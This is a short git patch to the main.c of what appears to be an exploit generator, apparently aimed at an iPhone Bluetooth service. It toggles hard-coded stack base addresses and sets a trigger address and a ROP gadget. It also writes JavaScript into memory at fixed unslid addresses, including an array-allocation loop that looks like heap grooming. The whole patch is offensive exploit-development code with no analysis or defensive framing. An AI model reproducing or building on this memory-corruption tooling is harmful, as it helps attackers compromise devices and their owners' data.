From 6cc37a8aba5368bfe5e56725382268e517d96b03 Mon Sep 17 00:00:00 2001 From: spv Date: Wed, 20 Apr 2022 15:22:48 -0400 Subject: function all the things --- src/main.c | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) (limited to 'src/main.c') diff --git a/src/main.c b/src/main.c index b2f6d3f..7e93b73 100644 --- a/src/main.c +++ b/src/main.c @@ -173,10 +173,10 @@ int main(int argc, fprintf(fp, "# - with love from spv <3\n"); fprintf(fp, "\n"); -// uint32_t stack_base = 0x1c7738; // my shell setup + uint32_t stack_base = 0x1c7738; // my shell setup // uint32_t stack_base = 0x1c7c88; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb - uint32_t stack_base = 0x1c7d68; // btserver env +// uint32_t stack_base = 0x1c7d68; // btserver env uint32_t magic_trigger_addr = 0xb6074; uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; @@ -365,18 +365,22 @@ int main(int argc, writebuf_unslid(0x108000, "var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" - "" - "function shitalloc() {" " var fuck = new Array();" " for (var i = 0; i < 0x800000; i++) {" " fuck[i] = i;" " }" " delete fuck;" - "}" "" - "shitalloc();", + "//shitalloc();", strlen("var parent = new Uint8Array(0x100);" - "var child = new Uint8Array(0x100);") + 1)); + "var child = new Uint8Array(0x100);" + " var fuck = new Array();" + " for (var i = 0; i < 0x800000; i++) {" + " fuck[i] = i;" + " }" + " delete fuck;" + "" + "//shitalloc();") + 1)); fprintf(fp, "%s", writebuf_unslid(0x10a000, -- cgit v1.2.3